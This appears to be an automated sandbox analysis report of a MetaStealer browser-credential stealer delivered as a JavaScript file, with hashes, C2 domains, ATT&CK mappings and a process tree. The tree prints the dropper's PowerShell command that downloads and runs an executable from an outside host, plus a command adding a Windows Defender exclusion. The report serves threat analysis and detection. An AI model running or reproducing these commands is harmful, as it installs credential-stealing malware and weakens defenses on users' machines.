metastealer | fe77b6b060137fccf7b6e30e53cb57658c6d65de4d898f8e9360d43f8f8a824f

General

Target

fe77b6b060137fccf7b6e30e53cb57658c6d65de4d898f8e9360d43f8f8a824f.js
Size

67KB
MD5

3c85bb16f6d987f899fcaeb1ad4dd1c2
SHA1

95780999e090f489aa3d1e7e3d36561ba0ec0a35
SHA256

fe77b6b060137fccf7b6e30e53cb57658c6d65de4d898f8e9360d43f8f8a824f
SHA512

aa8e980625764125f3cc7fc8cd3be1966c73e82e2e3f1bcd6eb246093cb510e0e7c1dd1c3d607d80c222f876c06eea06048d8b87d7139b3ee10d4e690dc0ae3d
SSDEEP

1536:mT66+AfHW4LCn4akVFEoZJjUbzdn+WMwHQn:miAf2xn4PFZJw8WMcK

Score

10^/10

metastealer discovery execution spyware stealer

Malware Config

Extracted

Family

metastealer

C2

ikswccmqsqeswegi.xyz

aukuqiksseyscgie.xyz

ecucwceswgqiscai.xyz

ggeguiacmksquiwq.xyz

ikecgokgwsysscqe.xyz

ausmoiqykiskemym.xyz

koaywyekuqqeyyww.xyz

auegquiusggyykii.xyz

seaamokeuaweaima.xyz

wmyekoqqyyqyoqgu.xyz

yqaouccmkggsweqk.xyz

uiggiccuoaayaqec.xyz

qamcsicuaqsaaqyw.xyz

wmeqmmsqaiaayumg.xyz

ggkswqokuuisecci.xyz

owswomyokkgkyayg.xyz

uiqyyqqcscaiaska.xyz

uiuqygeuogieacgw.xyz

yqqeqcygyguuwwkk.xyz

qacmygkcsgcsysmm.xyz

Attributes

dga_seed
8584
domain_length
16
num_dga_domains
10000
port
443

Signatures

Meta Stealer
Meta Stealer steals passwords stored in browsers, written in C++.
stealer metastealer

MetaStealer payload 1 IoCs

resource	yara_rule
behavioral2/memory/2804-25-0x0000000010000000-0x000000001072E000-memory.dmp	family_metastealer

Blocklisted process makes network request 1 IoCs

flow	pid	Process
22	4000	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1616	powershell.exe
4000	powershell.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\Control Panel\International\Geo\Nation	wscript.exe

Executes dropped EXE 1 IoCs

pid	Process
2804	cb239b93eff.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cb239b93eff.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	systeminfo.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
3688	systeminfo.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4000	powershell.exe
4000	powershell.exe
1616	powershell.exe
1616	powershell.exe
2804	cb239b93eff.exe
2804	cb239b93eff.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4000	powershell.exe
Token: SeDebugPrivilege	1616	powershell.exe

Suspicious use of WriteProcessMemory 13 IoCs

description	pid	Process	procid_target
PID 3740 wrote to memory of 4000	3740	wscript.exe	82
PID 3740 wrote to memory of 4000	3740	wscript.exe	82
PID 4000 wrote to memory of 2272	4000	powershell.exe	93
PID 4000 wrote to memory of 2272	4000	powershell.exe	93
PID 2272 wrote to memory of 2804	2272	cmd.exe	94
PID 2272 wrote to memory of 2804	2272	cmd.exe	94
PID 2272 wrote to memory of 2804	2272	cmd.exe	94
PID 2804 wrote to memory of 1616	2804	cb239b93eff.exe	95
PID 2804 wrote to memory of 1616	2804	cb239b93eff.exe	95
PID 2804 wrote to memory of 1616	2804	cb239b93eff.exe	95
PID 2804 wrote to memory of 3688	2804	cb239b93eff.exe	97
PID 2804 wrote to memory of 3688	2804	cb239b93eff.exe	97
PID 2804 wrote to memory of 3688	2804	cb239b93eff.exe	97

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\fe77b6b060137fccf7b6e30e53cb57658c6d65de4d898f8e9360d43f8f8a824f.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3740
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -Command Start-Sleep -Milliseconds 5000; mkdir C:\ProgramData\cb239b93eff ; wget https://down.lianfamedical.com/out.exe -OutFile C:\ProgramData\cb239b93eff\cb239b93eff.exe; Start-Sleep -Milliseconds 5000; C:\Windows\System32\cmd.exe /C C:\ProgramData\cb239b93eff\cb239b93eff.exe
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4000
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C C:\ProgramData\cb239b93eff\cb239b93eff.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2272
  - - C:\ProgramData\cb239b93eff\cb239b93eff.exe
      C:\ProgramData\cb239b93eff\cb239b93eff.exe
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:2804
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Microsoft\Windows\hyper-v.exe"
        5⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1616
    - - C:\Windows\SysWOW64\systeminfo.exe
        
        systeminfo
        5⤵
        System Location Discovery: System Language Discovery
        Gathers system information
        
        PID:3688

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

JavaScript

1

T1059.007

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

1

T1555

Credentials from Web Browsers

1

T1555.003

Unsecured Credentials

1

T1552

Credentials In Files

1

T1552.001

Discovery

Query Registry

1

T1012

System Information Discovery

3

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Data from Local System

1

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\cb239b93eff\cb239b93eff.exe

Filesize
4.2MB

MD5
fca9608841a34bf981486c0c1000c910

SHA1
af2088b6769c5461110495d0b4d480c70a666f5d

SHA256
bdfbde6a7c86951c60c4910e681e870bcc17554b6260ed6fd22c8930996c7907

SHA512
cd8f4c0dda28e8e1213ce1a56a04a86183a4b0343a7f4fbadd730dbdf19fa32aef3769bdca201e6839300dc259bb4e663c799359bdcea1263d9c05f7e88dd5b1

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2uxgymgl.mzf.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1616-48-0x0000000006F30000-0x0000000006F62000-memory.dmp

Filesize
200KB

Download
memory/1616-61-0x0000000008270000-0x00000000088EA000-memory.dmp

Filesize
6.5MB

Download
memory/1616-69-0x0000000007EB0000-0x0000000007EB8000-memory.dmp

Filesize
32KB

Download
memory/1616-35-0x00000000062A0000-0x0000000006306000-memory.dmp

Filesize
408KB

Download
memory/1616-68-0x0000000007F80000-0x0000000007F9A000-memory.dmp

Filesize
104KB

Download
memory/1616-67-0x0000000007E70000-0x0000000007E84000-memory.dmp

Filesize
80KB

Download
memory/1616-66-0x0000000007E60000-0x0000000007E6E000-memory.dmp

Filesize
56KB

Download
memory/1616-45-0x0000000006310000-0x0000000006664000-memory.dmp

Filesize
3.3MB

Download
memory/1616-65-0x0000000007E30000-0x0000000007E41000-memory.dmp

Filesize
68KB

Download
memory/1616-64-0x0000000007EC0000-0x0000000007F56000-memory.dmp

Filesize
600KB

Download
memory/1616-63-0x0000000007C90000-0x0000000007C9A000-memory.dmp

Filesize
40KB

Download
memory/1616-59-0x0000000006EC0000-0x0000000006EDE000-memory.dmp

Filesize
120KB

Download
memory/1616-30-0x0000000005330000-0x0000000005366000-memory.dmp

Filesize
216KB

Download
memory/1616-46-0x0000000006910000-0x000000000692E000-memory.dmp

Filesize
120KB

Download
memory/1616-33-0x00000000060A0000-0x00000000060C2000-memory.dmp

Filesize
136KB

Download
memory/1616-34-0x0000000006140000-0x00000000061A6000-memory.dmp

Filesize
408KB

Download
memory/1616-62-0x0000000007C30000-0x0000000007C4A000-memory.dmp

Filesize
104KB

Download
memory/1616-60-0x0000000007B20000-0x0000000007BC3000-memory.dmp

Filesize
652KB

Download
memory/1616-31-0x0000000005A70000-0x0000000006098000-memory.dmp

Filesize
6.2MB

Download
memory/1616-47-0x0000000006C60000-0x0000000006CAC000-memory.dmp

Filesize
304KB

Download
memory/1616-49-0x000000006FDE0000-0x000000006FE2C000-memory.dmp

Filesize
304KB

Download
memory/2804-21-0x0000000000A50000-0x0000000000AC8000-memory.dmp

Filesize
480KB

Download
memory/2804-25-0x0000000010000000-0x000000001072E000-memory.dmp

Filesize
7.2MB

Download
memory/2804-22-0x0000000000A50000-0x0000000000AC8000-memory.dmp

Filesize
480KB

Download
memory/4000-0-0x00007FF82DA93000-0x00007FF82DA95000-memory.dmp

Filesize
8KB

Download
memory/4000-17-0x00007FF82DA90000-0x00007FF82E551000-memory.dmp

Filesize
10.8MB

Download
memory/4000-13-0x00007FF82DA90000-0x00007FF82E551000-memory.dmp

Filesize
10.8MB

Download
memory/4000-11-0x00007FF82DA90000-0x00007FF82E551000-memory.dmp

Filesize
10.8MB

Download
memory/4000-1-0x000002AB44950000-0x000002AB44972000-memory.dmp

Filesize
136KB

Download
memory/4000-16-0x00007FF82DA90000-0x00007FF82E551000-memory.dmp

Filesize
10.8MB

Download
memory/4000-15-0x00007FF82DA90000-0x00007FF82E551000-memory.dmp

Filesize
10.8MB

Download
memory/4000-14-0x00007FF82DA93000-0x00007FF82DA95000-memory.dmp

Filesize
8KB

Download
memory/4000-12-0x00007FF82DA90000-0x00007FF82E551000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads